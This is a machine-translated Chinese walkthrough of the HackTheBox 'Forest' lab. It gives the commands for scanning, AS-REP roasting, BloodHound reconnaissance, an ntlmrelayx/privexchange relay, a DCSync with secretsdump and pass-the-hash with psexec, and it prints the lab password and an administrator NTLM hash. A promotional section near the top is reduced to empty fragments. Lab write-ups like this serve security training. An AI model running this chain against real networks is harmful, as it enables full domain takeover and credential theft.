砍箱子-演练森林。AS-REP烘焙,DCSync和哈希传递攻击

图片

我将继续发布从HackTheBox网站发送的用于进一步处理的解决方案我希望这将至少帮助某人在信息安全领域发展。在本文中,我们将以Kerberos身份验证方案处理AS-REP烘焙,使用BloodHound进行域侦察,执行DCSync PrivExchange攻击和Pass-The-Hash攻击。

通过VPN连接到实验室。建议不要从对您重要的数据可用的工作计算机或主机进行连接,因为您最终将与与信息安全领域有了解的人建立私有网络:)

组织信息
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

侦察


这台机器的IP地址为10.10.10.161,我将其添加到/ etc / hosts。
10.10.10.161 forest.htb
首先,我们扫描开放端口。由于使用nmap扫描所有端口需要很长时间,因此我将首先使用masscan进行此操作。我们以每秒1000个数据包的速度扫描来自tun0接口的所有TCP和UDP端口。

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.161 --rate=1000

图片

主机上有很多开放端口,因此我决定确保masscan提供的结果正确。为此,只需扫描nmap中的端口状态即可。

nmap 10.10.10.161 -p135,636,3269,49676,49665,53,593,49671,9389,49667,5985,49666,389,88,49684,464,3268,49677,47001,139,445,49714

图片

但是nmap证实了一切。接下来,您需要收集有关nmap已知端口的更多信息。

nmap -A 10.10.10.161 -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001

图片

接下来,您需要从系统中获取尽可能多的信息。为此,我使用了enum4linux。但是他给我们的信息很少。组,密码要求,缺少SMBv1和共享资源等。但是,我们得到了一个用户列表。

enum4linux -a 10.10.10.161

图片

由于Kerberos在主机上运行,​​因此您需要检查UAC中是否设置了DONT_REQ_PREAUTH标志的用户帐户。您可以在此处了解有关UAC标志及其含义的更多信息。 DONT_REQ_PREAUTH标志意味着此帐户不需要Kerberos身份验证。

首先,找出哪些用户帐户处于活动状态。这将有助于使impacket包含samrdump脚本。

impacket-samrdump forest.htb

图片

图片

该脚本首先显示所有用户,然后显示每个用户的详细信息。这样,您可以看到管理员帐户处于活动状态,而来宾未被激活。现在,我们可以列出活动用户。

图片

当我们有活动用户列表时,我们可以检查所需标志的可用性。我们可以使用GetNPUsers脚本来完成此操作,该脚本也是impacket软件包的一部分。我们指定htb.local域,域控制器10.10.10.161,Kerberos身份验证方法(-k),不带密码的选项以及用户列表。

GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -k -no-pass -usersfile ADUsers.txt 

图片

我们被告知,除了svc-alfresco之外,没有为所有用户设置此标志。在我的impacket版本(21-dev)中,哈希是自动请求的。

入口点-AS-REP烘焙


关于哈希返回给我们的几句话。下面是Kerberos身份验证方案。

图片

如您所见,在第一阶段:客户端将带有用户ID的消息连同代表用户的服务请求发送到身份验证服务器AS。AS通过对数据库中找到的用户的密码进行哈希处理来生成密钥。

这样,我们可以滚动浏览哈希并找出密码。这种攻击称为AS-REP烘焙。将哈希保存到文件中并找到原型。

john --wordlist=./rockyou.txt hashes2.txt

图片

我们找到了用户密码。

用户


如果返回打开的端口,则可以找到为远程管理而设计的有效的WinRM服务(或Windows远程管理)。我们有一个用户名和密码,因此我们可以安全地连接到它。为此,我使用邪恶的Winrm

图片

因此,我们带走了用户。


猎犬的智慧


现在我们需要增加特权。为了在域中映射LPE路径,可以使用BloodHound程序

Evil-winrm允许您与主机之间上传文件。我上传到主机SharpHound-一个用于收集信息的模块。

图片

另外,邪恶的Winrm允许您执行Powershell脚本。我们将指示用户名,密码,并希望知道所有可能的信息。

图片

执行脚本后,一个zip归档文件将出现在当前目录中。我们从主机下载它。

图片

接下来,运行与BloodHound配合使用的neo4j图DBMS。

neo4j console

图片

现在运行BloodHound。黑屏将与我们见面。

图片

现在,只需将下载的存档拖放到其中即可。然后转到“查询”标签。

图片

我们说,我们想找到通往域管理员的最短路径。BloodHound将建立一个图表-通往我们持续进步的道路。通过单击每个网络节点,我们将收到有关它的信息。

图片

因此,我们被告知我们应该成为Exchange Windows权限组的成员,因为我们将获得特权组“服务帐户”的待遇,只有这样我们才能增加特权。

net user svc-alfresco

图片

该用户当前不在此组中。让我们添加它,然后检查用户组。

Add-ADGroupMember "Exchange Windows Permissions" svc-alfresco

图片

用户已成功添加到组。现在,让我们看看这能给我们带来什么。Exchange Windows权限组对Active Directory中的Domain对象具有WriteDACL(授予权限)权限,该权限允许该组的任何成员更改域权限,包括DCSync操作。

DCSync


关于DCSync攻击的一些知识。 Active Directory复制是一个过程,通过该过程可以将对一个域控制器所做的更改与域中其余控制器进行同步。获得必要的权限后,我们可以启动复制请求,这将使我们能够获取Active Directory中存储的数据,包括密码哈希。

也就是说,我们可以同步Active Directory用户密码的哈希值,并使用NTLM协议(Microsoft开发的网络身份验证协议)或Kerberos登录到任何服务。攻击涉及使用来自impacket软件包的两个工具privexchange.py和ntlmrelayx.py。

首先,使用svc-alfresco帐户以LDAP中继模式运行ntlmrelayx到域控制器。

ntlmrelayx.py -t ldap://htb.local --escalate-user svc-alfresco

图片

所有服务正在运行,正在等待连接。现在使用privex。

python privexchange.py 10.10.10.161 -ah _ip -d htb.local -u svc-alfresco -p s3rvice

图片

然后我犯了很多错误,翻阅了几分钟,决定不解决它们。您可以在浏览器中单击上面的链接,并使用svc-alfresco凭据通过身份验证。在带有ntlmrelayx的窗口中,我们将看到连接信息。

图片

现在,使用secretsdump执行DCSync攻击。

secretsdump.py htb.local/svc-alfresco:s3rvice@10.10.10.161 -just-dc

图片

精细。我们能够复制所有帐户。

哈希传递攻击


此攻击使攻击者可以登录到使用NTLM或LM协议进行身份验证的远程服务器。

在使用NTLM身份验证协议的系统上,永远不会在通信通道上以明文形式传输密码。相反,它们在问答式身份验证方案的响应阶段以散列的形式传输到适当的系统(例如域控制器)。

Windows应用程序向用户询问明文密码,然后调用API(例如LsaLogonUser),该API将密码转换为LM哈希和NTLM哈希,并在身份验证过程中传递它们。对协议的分析表明,对于成功的身份验证,不必知道明文形式的密码,而只能使用其哈希值。

该攻击基于实施网络身份验证协议的弱点。它包含以下事实:无需使用盐就可以传输密码哈希,因此每次会话之间都保持不变(直到更改用户密码为止)。换句话说,对于攻击者而言,密码哈希值等同于密码本身。

使用psexec进行攻击。

psexec.py -hashes :32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161

图片

我们处于拥有完全权利的系统中。

您可以通过Telegram加入我们让我们建立一个社区,在这个社区中,会有一些精通IT领域的人,然后我们可以在任何IT和信息安全性问题上互相帮助。

All Articles